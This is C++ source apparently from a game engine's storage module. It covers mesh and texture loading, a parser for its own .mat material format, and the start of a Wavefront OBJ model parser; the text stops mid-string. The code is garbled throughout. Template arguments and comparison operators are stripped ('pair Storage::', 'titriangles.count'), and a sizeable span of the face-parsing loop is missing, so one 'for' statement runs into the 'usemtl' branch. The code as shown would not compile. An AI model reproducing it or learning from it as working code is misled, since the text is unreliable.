fa[0].vertexArray[0]=0; fa[0].vertexArray[1]=4; fa[0].vertexArray[2]=6; fa[0].vertexArray[3]=2; // +y fa[1].vertexArray[0]=2; fa[1].vertexArray[1]=6; fa[1].vertexArray[2]=7; fa[1].vertexArray[3]=3; // -z fa[2].vertexArray[0]=6; fa[2].vertexArray[1]=4; fa[2].vertexArray[2]=5; fa[2].vertexArray[3]=7; // +x fa[3].vertexArray[0]=3; fa[3].vertexArray[1]=7; fa[3].vertexArray[2]=5; fa[3].vertexArray[3]=1; // -y fa[4].vertexArray[0]=0; fa[4].vertexArray[1]=2; fa[4].vertexArray[2]=3; fa[4].vertexArray[3]=1; // -x fa[5].vertexArray[0]=4; fa[5].vertexArray[1]=0; fa[5].vertexArray[2]=1; fa[5].vertexArray[3]=5; // +z //face array outer vertex array fa[0].outerVertexArray[0]=0; fa[0].outerVertexArray[1]=4; fa[0].outerVertexArray[2]=6; fa[0].outerVertexArray[3]=2; // +y fa[1].outerVertexArray[0]=2; fa[1].outerVertexArray[1]=6; fa[1].outerVertexArray[2]=7; fa[1].outerVertexArray[3]=3; // -z fa[2].outerVertexArray[0]=6; fa[2].outerVertexArray[1]=4; fa[2].outerVertexArray[2]=5; fa[2].outerVertexArray[3]=7; // +x fa[3].outerVertexArray[0]=3; fa[3].outerVertexArray[1]=7; fa[3].outerVertexArray[2]=5; fa[3].outerVertexArray[3]=1; // -y fa[4].outerVertexArray[0]=0; fa[4].outerVertexArray[1]=2; fa[4].outerVertexArray[2]=3; fa[4].outerVertexArray[3]=1; // -x fa[5].outerVertexArray[0]=4; fa[5].outerVertexArray[1]=0; fa[5].outerVertexArray[2]=1; fa[5].outerVertexArray[3]=5; // +z //face array neighbor array offsets fa[0].neighborTriangleArray = (u32*)(fa[0].outerVertexArray+24); fa[0].neighborFaceArray = (u32*)(fa[0].neighborTriangleArray+24); fa[0].triangleNeighbors = {fa[0].neighborTriangleArray, 4}; fa[0].faceNeighbors = {fa[0].neighborFaceArray, 4}; for(s32 i=1; i<6; ++i){ fa[i].neighborTriangleArray = fa[i-1].neighborTriangleArray+4; fa[i].neighborFaceArray = fa[i-1].neighborFaceArray+4; fa[i].triangleNeighbors = {fa[i].neighborTriangleArray, 4}; fa[i].faceNeighbors = {fa[i].neighborFaceArray, 4}; } //face array neighbor triangle array fa[0].triangleNeighbors[0]= 9; fa[0].triangleNeighbors[1]= 3; fa[0].triangleNeighbors[2]= 5; fa[0].triangleNeighbors[3]=11; fa[1].triangleNeighbors[0]= 1; fa[1].triangleNeighbors[1]= 4; fa[1].triangleNeighbors[2]= 7; fa[1].triangleNeighbors[3]= 9; fa[2].triangleNeighbors[0]= 1; fa[2].triangleNeighbors[1]=10; fa[2].triangleNeighbors[2]= 6; fa[2].triangleNeighbors[3]= 3; fa[3].triangleNeighbors[0]= 4; fa[3].triangleNeighbors[1]=10; fa[3].triangleNeighbors[2]= 8; fa[3].triangleNeighbors[3]= 2; fa[4].triangleNeighbors[0]= 0; fa[4].triangleNeighbors[1]= 2; fa[4].triangleNeighbors[2]= 7; fa[4].triangleNeighbors[3]=11; fa[5].triangleNeighbors[0]= 0; fa[5].triangleNeighbors[1]= 8; fa[5].triangleNeighbors[2]= 6; fa[5].triangleNeighbors[3]= 5; //face array neighbor face array fa[0].faceNeighbors[0]=1; fa[0].faceNeighbors[1]=2; fa[0].faceNeighbors[2]=4; fa[0].faceNeighbors[3]=5; fa[1].faceNeighbors[0]=0; fa[1].faceNeighbors[1]=2; fa[1].faceNeighbors[2]=3; fa[1].faceNeighbors[3]=4; fa[2].faceNeighbors[0]=0; fa[2].faceNeighbors[1]=1; fa[2].faceNeighbors[2]=3; fa[2].faceNeighbors[3]=5; fa[3].faceNeighbors[0]=1; fa[3].faceNeighbors[1]=2; fa[3].faceNeighbors[2]=4; fa[3].faceNeighbors[3]=5; fa[4].faceNeighbors[0]=0; fa[4].faceNeighbors[1]=1; fa[4].faceNeighbors[2]=3; fa[4].faceNeighbors[3]=5; fa[5].faceNeighbors[0]=0; fa[5].faceNeighbors[1]=2; fa[5].faceNeighbors[2]=3; fa[5].faceNeighbors[3]=4; render_load_mesh(mesh); result.first = mesh->idx; result.second = mesh; meshes.add(mesh); return result; } pair Storage:: CreateMeshFromFile(str8 filename){DPZoneScoped; pair result(0, NullMesh()); if(str8_equal_lazy(filename, str8_lit("null"))) return result; str8_builder builder; str8_builder_init(&builder, str8_lit("data/models/"), deshi_temp_allocator); str8_builder_append(&builder, filename); //append extension if not provided str8 front = str8_eat_until_last(filename, '.'); if(front.count == filename.count) str8_builder_append(&builder, str8_lit(".mesh")); //check if mesh is already loaded forI(meshes.count){ if(strncmp(meshes[i]->name, (const char*)front.str, ClampMax(front.count, 63)) == 0){ return pair(i, meshes[i]); } } //load .mesh file str8 contents = file_read_simple(str8_builder_peek(&builder), deshi_temp_allocator); if(!contents) return result; return CreateMeshFromMemory(contents.str); } pair Storage:: CreateMeshFromMemory(void* data){DPZoneScoped; pair result(0, NullMesh()); u32 bytes = *((u32*)data); if(bytes < sizeof(Mesh)){ LogE("storage","Mesh size was too small when trying to load it from memory"); return result; } //allocate Mesh* mesh = (Mesh*)memory_alloc(bytes); char* cursor = (char*)mesh + (1*sizeof(Mesh)); memcpy(mesh, data, bytes); mesh->idx = meshes.count; mesh->vertexArray = (Mesh::Vertex*)cursor; cursor += mesh->vertexCount*sizeof(Mesh::Vertex); mesh->indexArray = (Mesh::Index*)cursor; cursor += mesh->indexCount*sizeof(Mesh::Index); mesh->triangleArray = (Mesh::Triangle*)cursor; cursor += mesh->triangleCount*sizeof(Mesh::Triangle); mesh->faceArray = (Mesh::Face*)cursor; cursor += mesh->faceCount*sizeof(Mesh::Face); mesh->indexes = {mesh->indexArray, mesh->indexCount}; mesh->vertexes = {mesh->vertexArray, mesh->vertexCount}; mesh->triangles = {mesh->triangleArray, mesh->triangleCount}; mesh->faces = {mesh->faceArray, mesh->faceCount}; mesh->triangles[0].neighborArray = (u32*)(mesh->faceArray + mesh->faceCount); mesh->triangles[0].edgeArray = (u8*) (mesh->triangleArray[0].neighborArray + mesh->totalTriNeighborCount); mesh->triangles[0].neighbors = {mesh->triangles[0].neighborArray, mesh->triangles[0].neighborCount}; mesh->triangles[0].edges = {mesh->triangles[0].edgeArray, mesh->triangles[0].neighborCount}; for(s32 ti=1; titriangles.count; ++ti){ mesh->triangles[ti].neighborArray = (u32*)(mesh->triangles[ti-1].neighborArray + mesh->triangles[ti-1].neighborCount); mesh->triangles[ti].edgeArray = (u8*) (mesh->triangles[ti-1].edgeArray + mesh->triangles[ti-1].neighborCount); mesh->triangles[ti].neighbors = {mesh->triangles[ti].neighborArray, mesh->triangles[ti].neighborCount}; mesh->triangles[ti].edges = {mesh->triangles[ti].edgeArray, mesh->triangles[ti].neighborCount}; } mesh->faces[0].triangleArray = (u32*)(mesh->triangles[0].edgeArray + mesh->totalTriNeighborCount); mesh->faces[0].vertexArray = (u32*)(mesh->faces[0].triangleArray + mesh->triangles.count); mesh->faces[0].outerVertexArray = (u32*)(mesh->faces[0].vertexArray + mesh->totalFaceVertexCount); mesh->faces[0].neighborTriangleArray = (u32*)(mesh->faces[0].outerVertexArray + mesh->totalFaceOuterVertexCount); mesh->faces[0].neighborFaceArray = (u32*)(mesh->faces[0].neighborTriangleArray + mesh->totalFaceTriNeighborCount); mesh->faces[0].triangles = {mesh->faces[0].triangleArray, mesh->faces[0].triangleCount}; mesh->faces[0].vertexes = {mesh->faces[0].vertexArray, mesh->faces[0].vertexCount}; mesh->faces[0].outerVertexes = {mesh->faces[0].outerVertexArray, mesh->faces[0].outerVertexCount}; mesh->faces[0].triangleNeighbors = {mesh->faces[0].neighborTriangleArray, mesh->faces[0].neighborTriangleCount}; mesh->faces[0].faceNeighbors = {mesh->faces[0].neighborFaceArray, mesh->faces[0].neighborFaceCount}; for(s32 fi=1; fifaces.count; ++fi){ mesh->faces[fi].triangleArray = (u32*)(mesh->faces[fi-1].triangleArray + mesh->faces[fi-1].triangleCount); mesh->faces[fi].vertexArray = (u32*)(mesh->faces[fi-1].vertexArray + mesh->faces[fi-1].vertexCount); mesh->faces[fi].outerVertexArray = (u32*)(mesh->faces[fi-1].outerVertexArray + mesh->faces[fi-1].outerVertexCount); mesh->faces[fi].neighborTriangleArray = (u32*)(mesh->faces[fi-1].neighborTriangleArray + mesh->faces[fi-1].neighborTriangleCount); mesh->faces[fi].neighborFaceArray = (u32*)(mesh->faces[fi-1].neighborFaceArray + mesh->faces[fi-1].neighborFaceCount); mesh->faces[fi].triangles = {mesh->faces[fi].triangleArray, mesh->faces[fi].triangleCount}; mesh->faces[fi].vertexes = {mesh->faces[fi].vertexArray, mesh->faces[fi].vertexCount}; mesh->faces[fi].outerVertexes = {mesh->faces[fi].outerVertexArray, mesh->faces[fi].outerVertexCount}; mesh->faces[fi].triangleNeighbors = {mesh->faces[fi].neighborTriangleArray, mesh->faces[fi].neighborTriangleCount}; mesh->faces[fi].faceNeighbors = {mesh->faces[fi].neighborFaceArray, mesh->faces[fi].neighborFaceCount}; } render_load_mesh(mesh); result.first = mesh->idx; result.second = mesh; meshes.add(mesh); return result; } void Storage:: SaveMesh(Mesh* mesh){DPZoneScoped; str8 path = str8_concat3(str8_lit("data/models/"),str8_from_cstr(mesh->name),str8_lit(".mesh"), deshi_temp_allocator); file_write_simple(path, mesh, mesh->bytes); Log("storage","Successfully saved mesh: ",path); } ////////////////// //// @texture //// ////////////////// local Texture* AllocateTexture(){DPZoneScoped; Texture* texture = (Texture*)memory_alloc(sizeof(Texture)); return texture; } pair Storage:: CreateTextureFromFile(str8 filename, ImageFormat format, TextureType type, TextureFilter filter, TextureAddressMode uvMode, b32 keepLoaded, b32 generateMipmaps){DPZoneScoped; pair result(0, NullTexture()); if(str8_equal_lazy(filename, str8_lit("null"))) return result; //check if texture is already loaded forI(textures.count){ if(strncmp(textures[i]->name, (const char*)filename.str, ClampMax(filename.count, 63)) == 0){ return pair(i, textures[i]); } } str8 path = str8_concat(str8_lit("data/textures/"),filename, deshi_temp_allocator); Texture* texture = AllocateTexture(); CopyMemory(texture->name, filename.str, ClampMax(filename.count, 63)); texture->idx = textures.count; texture->format = format; texture->type = type; texture->filter = filter; texture->uvMode = uvMode; texture->pixels = stbi_load((const char*)path.str, &texture->width, &texture->height, &texture->depth, STBI_rgb_alpha); texture->loaded = true; if(texture->pixels == 0){ LogE("storage","Failed to create texture '",path,"': ",stbi_failure_reason()); memory_zfree(texture); return result; } texture->mipmaps = (generateMipmaps) ? (s32)log2(Max(texture->width, texture->height)) + 1 : 1; render_load_texture(texture); if(!keepLoaded){ stbi_image_free(texture->pixels); texture->pixels = 0; } result.first = texture->idx; result.second = texture; textures.add(texture); return result; } pair Storage:: CreateTextureFromMemory(void* data, str8 name, s32 width, s32 height, ImageFormat format, TextureType type, TextureFilter filter, TextureAddressMode uvMode, b32 generateMipmaps){DPZoneScoped; pair result(0, NullTexture()); if(data == 0){ LogE("storage","Failed to create texture '",name,"': No memory passed!"); return result; } //check if texture is already loaded (with that name) forI(textures.count){ if(strncmp(textures[i]->name, (const char*)name.str, ClampMax(name.count, 63)) == 0){ return pair(i, textures[i]); } } Texture* texture = AllocateTexture(); CopyMemory(texture->name, name.str, ClampMax(name.count, 63)); texture->idx = textures.count; texture->format = format; texture->type = type; texture->filter = filter; texture->uvMode = uvMode; texture->width = width; texture->height = height; texture->depth = 4; texture->loaded = true; texture->mipmaps = (generateMipmaps) ? (s32)log2(Max(texture->width, texture->height)) + 1 : 1; //reinterpret image as RGBA32 const u8* src = (u8*)data; if(format != ImageFormat_RGBA){ texture->pixels = (u8*)memory_alloc((upt)width * (upt)height * 4); data = texture->pixels; u32* dst = (u32*)texture->pixels; switch(format){ case ImageFormat_BW:{ for(s32 i = width*height; i > 0; i--){ u32 value = (u32)(*src++); *dst++ = PackColorU32(value, value, value, value); } }break; case ImageFormat_BWA:{ NotImplemented; //!Incomplete }break; case ImageFormat_RGB:{ NotImplemented; //!Incomplete }break; } }else{ texture->pixels = (u8*)data; } render_load_texture(texture); result.first = texture->idx; result.second = texture; textures.add(texture); return result; } /////////////////// //// @material //// /////////////////// local Material* AllocateMaterial(u32 textureCount){DPZoneScoped; Material* material = (Material*)memory_alloc(sizeof(Material)); material->textures = array(textureCount); return material; } pair Storage:: CreateMaterial(str8 name, Shader shader, MaterialFlags flags, array mat_textures){DPZoneScoped; pair result(0, NullMaterial()); //check if material is already loaded forI(materials.count){ if(strncmp(materials[i]->name, (const char*)name.str, ClampMax(name.count, 63)) == 0){ return pair(i, materials[i]); } } Material* material = AllocateMaterial(mat_textures.count); CopyMemory(material->name, name.str, ClampMax(name.count, 63)); material->idx = materials.count; material->shader = shader; material->flags = flags; forI(mat_textures.count) material->textures.add(mat_textures[i]); render_load_material(material); result.first = material->idx; result.second = material; materials.add(material); return result; } pair Storage:: CreateMaterialFromFile(str8 filename){DPZoneScoped; pair result(0, NullMaterial()); if(str8_equal_lazy(filename, str8_lit("null"))) return result; str8_builder builder; str8_builder_init(&builder, str8_lit("data/models/"), deshi_temp_allocator); str8_builder_append(&builder, filename); //append extension if not provided str8 front = str8_eat_until_last(filename, '.'); if(front.count == filename.count) str8_builder_append(&builder, str8_lit(".mat")); //check if material is already loaded forI(materials.count){ if(strncmp(materials[i]->name, (const char*)front.str, ClampMax(front.count, 63)) == 0){ return {(u32)i, materials[i]}; } } //load .mat file File* file = file_init(str8_builder_peek(&builder), FileAccess_Read); if(!file) return result; defer{ file_deinit(file); }; //NOTE(delle) creating an allocator here to either use 256 bytes locally or temp allocate more than 256 bytes persist u8 line_buffer[256]; persist Allocator load_allocator{ [](upt bytes){ if(bytes > 256){ return memory_talloc(bytes); }else{ line_buffer[bytes-1] = '\0'; //NOTE(delle) file_read_line_alloc() requests an extra byte for null-terminator return (void*)line_buffer; } }, Allocator_ChangeMemory_Noop, Allocator_ChangeMemory_Noop, Allocator_ReleaseMemory_Noop, Allocator_ResizeMemory_Noop }; //parse .mat file str8 mat_name{}; //NOTE(delle) unused b/c we use the filename for loaded name currently Shader mat_shader = 0; MaterialFlags mat_flags = 0; array mat_textures(deshi_temp_allocator); enum{ HEADER_MATERIAL, HEADER_TEXTURES, HEADER_INVALID }header; u32 line_number = 0; while(file->cursor < file->bytes){ line_number += 1; //next line str8 line = file_read_line_alloc(file, &load_allocator); if(!line) continue; //skip leading whitespace str8_advance_while(&line, ' '); if(!line) continue; //early out if comment is first character DecodedCodepoint decoded = decoded_codepoint_from_utf8(line.str, 4); if(decoded.codepoint == '#') continue; //check for header if(decoded.codepoint == '>'){ if (str8_begins_with(line, str8_lit(">material"))) header = HEADER_MATERIAL; else if(str8_begins_with(line, str8_lit(">textures"))) header = HEADER_TEXTURES; else{ header = HEADER_INVALID; LogE("storage","Error parsing material '",filename,"' on line ",line_number,". Invalid Header: ",line); }; continue; } //early out invalid header if(header == HEADER_INVALID){ LogE("storage","Error parsing material '",filename,"' on line ",line_number,". Invalid Header; skipping line"); continue; } if(header == HEADER_MATERIAL){ //parse key str8 key = str8_eat_until(line, ' '); str8_increment(&line, key.count); //skip separating whitespace str8_advance_while(&line, ' '); if(!line){ LogE("config","Error parsing material '",filename,"' on line ",line_number,". No value passed to key: ",key); continue; } //early out if comment is first value character decoded = decoded_codepoint_from_utf8(line.str, 4); if(decoded.codepoint == '#'){ LogE("storage","Error parsing material '",filename,"' on line ",line_number,". No value passed to key: ",key); continue; } if (str8_equal_lazy(key, str8_lit("name"))){ if(decoded.codepoint != '\"'){ LogE("storage","Error parsing material '",filename,"' on line ",line_number,". Names must be wrapped in double quotes."); continue; } mat_name = str8_copy(str8_eat_until(str8{line.str+1,line.count-1}, '\"'), deshi_temp_allocator); }else if(str8_equal_lazy(key, str8_lit("flags"))){ mat_flags = (ModelFlags)atoi((const char*)line.str); }else if(str8_equal_lazy(key, str8_lit("shader"))){ forI(Shader_COUNT){ if(str8_equal_lazy(line, ShaderStrings[i])){ mat_shader = i; break; } } }else{ LogE("storage","Error parsing material '",filename,"' on line ",line_number,". Invalid key '",key,"' for >material header."); continue; } }else{ if(decoded.codepoint != '\"'){ LogE("storage","Error parsing material '",filename,"' on line ",line_number,". Textures must be wrapped in double quotes."); continue; } mat_textures.add(str8_copy(str8_eat_until(str8{line.str+1,line.count-1}, '\"'), deshi_temp_allocator)); } } Material* material = AllocateMaterial(mat_textures.count); CopyMemory(material->name, front.str, ClampMax(front.count, 63)); material->idx = materials.count; material->shader = mat_shader; material->flags = mat_flags; forI(mat_textures.count) material->textures.add(CreateTextureFromFile(mat_textures[i]).first); render_load_material(material); result.first = material->idx; result.second = material; materials.add(material); return result; } void Storage:: SaveMaterial(Material* material){DPZoneScoped; string mat_text = ToString(">material" "\nname \"",material->name,"\"" "\nshader ",ShaderStrings[material->shader], "\nflags ",material->flags, "\n" "\n>textures"); forI(material->textures.count) mat_text += ToString("\n\"",textures[material->textures[i]]->name,"\""); mat_text += "\n"; str8 path = str8_concat3(str8_lit("data/models/"),str8_from_cstr(material->name),str8_lit(".mat"), deshi_temp_allocator); file_write_simple(path, mat_text.str, mat_text.count*sizeof(char)); Log("storage","Successfully saved material: ",path); } //////////////// //// @model //// //////////////// #define ParseError(path,...) LogE("storage","Failed parsing '",path,"' on line '",line_number,"'! ",__VA_ARGS__) local Model* AllocateModel(u32 batchCount){DPZoneScoped; Model* model = (Model*)memory_alloc(sizeof(Model)); model->batches = array(); model->batches.resize((batchCount) ? batchCount : 1); return model; } pair Storage:: CreateModelFromFile(str8 filename, ModelFlags flags, b32 forceLoadOBJ){DPZoneScoped; pair result(0, NullModel()); if(str8_equal_lazy(filename, str8_lit("null"))) return result; Stopwatch model_stopwatch = start_stopwatch(); str8 directory = str8_lit("data/models/"); str8_builder builder; str8_builder_init(&builder, directory, deshi_temp_allocator); str8_builder_append(&builder, filename); //append extension if not provided str8 front = str8_eat_until_last(filename, '.'); if(front.count == filename.count) str8_builder_append(&builder, str8_lit(".model")); //check if model is already loaded forI(models.count){ if(strncmp(models[i]->name, (const char*)front.str, ClampMax(front.count, 63)) == 0){ return {(u32)i, models[i]}; } } str8 model_path = str8_builder_peek(&builder); str8 obj_path = str8_concat3(directory, front, str8_lit(".obj"), deshi_temp_allocator); str8 mesh_path = str8_concat3(directory, front, str8_lit(".mesh"), deshi_temp_allocator); b32 parse_obj_mesh = true; b32 parse_obj_model = true; if(!forceLoadOBJ){ if(file_exists(mesh_path)) parse_obj_mesh = false; if(file_exists(model_path)) parse_obj_model = false; } //NOTE(delle) creating an allocator here to either use 256 bytes locally or temp allocate more than 256 bytes persist u8 line_buffer[256]; persist Allocator load_allocator{ [](upt bytes){ if(bytes > 256){ return memory_talloc(bytes); }else{ line_buffer[bytes-1] = '\0'; //NOTE(delle) file_read_line_alloc() requests an extra byte for null-terminator return (void*)line_buffer; } }, Allocator_ChangeMemory_Noop, Allocator_ChangeMemory_Noop, Allocator_ReleaseMemory_Noop, Allocator_ResizeMemory_Noop }; //// load .obj and .mtl //// Model* model = NullModel(); if(parse_obj_model && parse_obj_mesh){ //TODO(delle) use deshi allocators here map vUnique(deshi_temp_allocator); set vnUnique(deshi_temp_allocator); set> oUnique(deshi_temp_allocator); //index offset, name set> gUnique(deshi_temp_allocator); set> uUnique(deshi_temp_allocator); set> mUnique(deshi_temp_allocator); set> appliedUniqueNormals(deshi_temp_allocator); //vertex applied on, normal array vtArray(deshi_temp_allocator); //NOTE UV vertices arent expected to be unique array vArray(deshi_temp_allocator); //index in unique array array vnArray(deshi_temp_allocator); array oArray(deshi_temp_allocator); array gArray(deshi_temp_allocator); array uArray(deshi_temp_allocator); array mArray(deshi_temp_allocator); array indexes(deshi_temp_allocator); array triangles(deshi_temp_allocator); array faces(deshi_temp_allocator); array>> triNeighbors(deshi_temp_allocator); array> faceTriangles(deshi_temp_allocator); array> faceVertexes(deshi_temp_allocator); array> faceOuterVertexes(deshi_temp_allocator); array> faceTriNeighbors(deshi_temp_allocator); array> faceFaceNeighbors(deshi_temp_allocator); u32 totalTriNeighbors = 0; u32 totalFaceVertexes = 0; u32 totalFaceOuterVertexes = 0; u32 totalFaceTriNeighbors = 0; u32 totalFaceFaceNeighbors = 0; vec3 aabb_min{ FLT_MAX, FLT_MAX, FLT_MAX}; vec3 aabb_max{-FLT_MAX,-FLT_MAX,-FLT_MAX}; u32 default_color = Color_White.rgba; b32 mtllib_found = false; b32 s_warning = false; b32 non_tri_warning = false; b32 fatal_error = false; Stopwatch load_stopwatch = start_stopwatch(); File* file = file_init(obj_path, FileAccess_Read); if(!file) return result; defer{ file_deinit(file); }; u32 line_number = 0; while(file->cursor < file->bytes){ line_number += 1; //next line str8 line = file_read_line_alloc(file, &load_allocator); if(!line) continue; //skip leading whitespace str8_advance_while(&line, ' '); if(!line) continue; //early out if comment is first character DecodedCodepoint decoded = decoded_codepoint_from_utf8(line.str, 4); if(decoded.codepoint == '#') continue; //TODO(delle) add parsing safety checks to strtof and strol //TODO(delle) handle non-triangle faces (maybe) switch(decoded.codepoint){ case '\0': case '\n': case '\r': case '#': case ' ': continue; //skip empty and comment lines //// vertex, normal, or uv //// case 'v':{ str8_increment(&line, decoded.advance); decoded = decoded_codepoint_from_utf8(line.str, 4); switch(decoded.codepoint){ //// vertex //// case ' ':{ str8_increment(&line, decoded.advance); char* next = (char*)line.str; f32 x = strtof(next, &next); f32 y = strtof(next, &next); f32 z = strtof(next, 0); vec3 vec{x,y,z}; vArray.add(vUnique.add(vec, Mesh::Vertex{vec})); }continue; //// uv //// case 't':{ str8_increment(&line, decoded.advance); decoded = decoded_codepoint_from_utf8(line.str, 4); if(decoded.codepoint != ' '){ ParseError(obj_path,"No space after 'vt'"); return result; } str8_increment(&line, decoded.advance); char* next = (char*)line.str; f32 x = strtof(next, &next); f32 y = strtof(next, 0); vtArray.add(vec2{x,y}); }continue; //// normal //// case 'n':{ str8_increment(&line, decoded.advance); decoded = decoded_codepoint_from_utf8(line.str, 4); if(decoded.codepoint != ' '){ ParseError(obj_path,"No space after 'vn'"); return result; } str8_increment(&line, decoded.advance); char* next = (char*)line.str; f32 x = strtof(next, &next); f32 y = strtof(next, &next); f32 z = strtof(next, 0); vec3 vec{x,y,z}; vnArray.add(vnUnique.add(vec, vec)); }continue; default:{ ParseError(obj_path,"Invalid character after 'v': '",(char)decoded.codepoint,"'"); }return result; } }continue; //// face //// case 'f':{ Stopwatch face_stopwatch = start_stopwatch(); str8_increment(&line, decoded.advance); decoded = decoded_codepoint_from_utf8(line.str, 4); if(decoded.codepoint != ' '){ ParseError(obj_path,"No space after 'f'"); return result; } if(vArray.count == 0){ ParseError(obj_path,"Specifier 'f' before any 'v'"); return result; } str8_increment(&line, decoded.advance); char* next = (char*)line.str; u32 v0=strtol(next,&next,10)-1; u32 vt0=strtol(next+1,&next,10)-1; u32 vn0=strtol(next+1,&next,10)-1; u32 v1=strtol(next,&next,10)-1; u32 vt1=strtol(next+1,&next,10)-1; u32 vn1=strtol(next+1,&next,10)-1; u32 v2=strtol(next,&next,10)-1; u32 vt2=strtol(next+1,&next,10)-1; u32 vn2=strtol(next+1,&next,10)-1; u32 o = oArray.count; u32 g = gArray.count; u32 m = mArray.count; //index indexes.add(vArray[v0]); indexes.add(vArray[v1]); indexes.add(vArray[v2]); //uv if(vtArray.count){ vUnique.data[vArray[v0]].uv = vtArray[vt0]; vUnique.data[vArray[v1]].uv = vtArray[vt1]; vUnique.data[vArray[v2]].uv = vtArray[vt2]; } //normal if(vnArray.count){ if(appliedUniqueNormals.add({vArray[v0],vnUnique.data[vnArray[vn0]]}) == appliedUniqueNormals.count-1){ vUnique.data[vArray[v0]].normal += vnUnique.data[vnArray[vn0]]; } if(appliedUniqueNormals.add({vArray[v1],vnUnique.data[vnArray[vn1]]}) == appliedUniqueNormals.count-1){ vUnique.data[vArray[v1]].normal += vnUnique.data[vnArray[vn1]]; } if(appliedUniqueNormals.add({vArray[v2],vnUnique.data[vnArray[vn2]]}) == appliedUniqueNormals.count-1){ vUnique.data[vArray[v2]].normal += vnUnique.data[vnArray[vn2]]; } } //color vUnique.data[vArray[v0]].color = default_color; vUnique.data[vArray[v1]].color = default_color; vUnique.data[vArray[v2]].color = default_color; //triangle u32 cti = triangles.count; Mesh::Triangle triangle{}; triangle.p[0] = vUnique.data[vArray[v0]].pos; triangle.p[1] = vUnique.data[vArray[v1]].pos; triangle.p[2] = vUnique.data[vArray[v2]].pos; triangle.v[0] = vArray[v0]; triangle.v[1] = vArray[v1]; triangle.v[2] = vArray[v2]; triangle.face = (u32)-1; triangle.normal = (triangle.p[0] - triangle.p[1]).cross(triangle.p[0] - triangle.p[2]).normalized(); triangles.add(triangle); triNeighbors.add(array>{}); //triangle neighbors for(u32 oti=0; oti usemtl(indexes.count, str8_copy(line, deshi_temp_allocator)); uArray.add(uUnique.add(usemtl,usemtl)); }else{ ParseError(obj_path,"Specifier 'usemtl' used before 'mtllib' specifier"); } }continue; //// load material //// case 'm':{ if(strncmp((const char*)line.str, "mtllib ", 7) != 0){ ParseError(obj_path,"Specifier started with 'm' but didn't equal 'mtllib '"); return result; } mtllib_found = true; str8_increment(&line, 7); pair mtllib(indexes.count, str8_copy(line, deshi_temp_allocator)); mArray.add(mUnique.add(mtllib,mtllib)); }continue; //// group (batch) //// case 'g':{ str8_increment(&line, decoded.advance); decoded = decoded_codepoint_from_utf8(line.str, 4); if(decoded.codepoint != ' '){ ParseError(obj_path,"No space after 'g'"); return result; } str8_increment(&line, decoded.advance); pair group(indexes.count, str8_copy(line, deshi_temp_allocator)); gArray.add(gUnique.add(group,group)); }continue; //// object //// case 'o':{ str8_increment(&line, decoded.advance); decoded = decoded_codepoint_from_utf8(line.str, 4); if(decoded.codepoint != ' '){ ParseError(obj_path,"No space after 'o'"); return result; } str8_increment(&line, decoded.advance); pair object(indexes.count, str8_copy(line, deshi_temp_allocator)); oArray.add(oUnique.add(object,object)); }continue; //// smoothing //// case 's':{ str8_increment(&line, decoded.advance); decoded = decoded_codepoint_from_utf8(line.str, 4); if(decoded.codepoint != ' '){ ParseError(obj_path,"No space after 's'"); return result; } str8_increment(&line, decoded.advance); s_warning = true; }continue; default:{ ParseError(obj_path,"Invalid starting character: '",(char)decoded.codepoint,"'"); }return result; } } //// generate mesh faces //// forX(bti, triangles.count){ if(triangles[bti].face != -1) continue; //create face and add base triange to it u32 cfi = faces.count; faces.add(Mesh::Face{}); faceTriangles.add(array(deshi_temp_allocator)); faceVertexes.add(set(deshi_temp_allocator)); faceOuterVertexes.add(array(deshi_temp_allocator)); faceTriNeighbors.add(array(deshi_temp_allocator)); faceFaceNeighbors.add(array(deshi_temp_allocator)); faces[cfi].normal = triangles[bti].normal; triangles[bti].face = cfi; faceTriangles[cfi].add(bti); faceVertexes[cfi].add(triangles[bti].v[0],triangles[bti].v[0]); faceVertexes[cfi].add(triangles[bti].v[1],triangles[bti].v[1]); faceVertexes[cfi].add(triangles[bti].v[2],triangles[bti].v[2]); totalFaceVertexes += 3; array check_tris({(u32)bti}); forX(check_tri_idx, check_tris.count){ u32 cti = check_tris[check_tri_idx]; forX(nei_tri_idx, triNeighbors[cti].count){ u32 nti = triNeighbors[cti][nei_tri_idx].first; b32 checked = false; forI(check_tris.count){ if(check_tris[i] == nti){ checked = true; break; } } if(checked) continue; //check if neighbor triangle has same normal if(triangles[cti].normal == triangles[nti].normal){ check_tris.add(nti); triangles[nti].face = cfi; faceTriangles[cfi].add(nti); faceVertexes[cfi].add(triangles[nti].v[0],triangles[nti].v[0]); faceVertexes[cfi].add(triangles[nti].v[1],triangles[nti].v[1]); faceVertexes[cfi].add(triangles[nti].v[2],triangles[nti].v[2]); totalFaceVertexes += 3; }else{ faceTriNeighbors[cfi].add(nti); totalFaceTriNeighbors++; u32 v1 = triangles[cti].v[ triNeighbors[cti][nei_tri_idx].second ]; u32 v2 = triangles[cti].v[(triNeighbors[cti][nei_tri_idx].second+1) % 3]; b32 v1_already = false; b32 v2_already = false; forX(fovi, faceOuterVertexes[cfi].count){ if(!v1_already && faceOuterVertexes[cfi][fovi] == v1){ v1_already = true; } if(!v2_already && faceOuterVertexes[cfi][fovi] == v2){ v2_already = true; } if(v1_already && v2_already) break; } if(!v1_already){ faceOuterVertexes[cfi].add(v1); totalFaceOuterVertexes++; faces[cfi].center += vUnique.atIdx(v1)->pos; } if(!v2_already){ faceOuterVertexes[cfi].add(v2); totalFaceOuterVertexes++; faces[cfi].center += vUnique.atIdx(v2)->pos; } } } } } //generate face neighbors forX(cfi, faces.count){ forX(cnti, faceTriNeighbors[cfi].count){ //check neighbor triangles b32 already_added = false; forX(nfi, faceFaceNeighbors[cfi].count){ //see if face neighbor already added if(triangles[faceTriNeighbors[cfi][cnti]].face == faceFaceNeighbors[cfi][nfi]){ already_added = true; break; } } if(!already_added){ faceFaceNeighbors[cfi].add(triangles[faceTriNeighbors[cfi][cnti]].face); faceFaceNeighbors[triangles[faceTriNeighbors[cfi][cnti]].face].add(cfi); totalFaceFaceNeighbors += 2; } } } //// calculate vertex normals //// forI(vUnique.count){ aabb_min.x = Min(aabb_min.x, vUnique.data.data[i].pos.x); aabb_max.x = Max(aabb_max.x, vUnique.data.data[i].pos.x); aabb_min.y = Min(aabb_min.y, vUnique.data.data[i].pos.y); aabb_max.y = Max(aabb_max.y, vUnique.data.data[i].pos.y); aabb_min.z = Min(aabb_min.z, vUnique.data.data[i].pos.z); aabb_max.z = Max(aabb_max.z, vUnique.data.data[i].pos.z); vUnique.data.data[i].normal.normalize(); } //// parsing warnings/errors //// if(non_tri_warning) LogW("storage","The mesh was not triangulated before parsing; Expect missing triangles!"); if(s_warning) LogW("storage","There were 's' specifiers when parsing 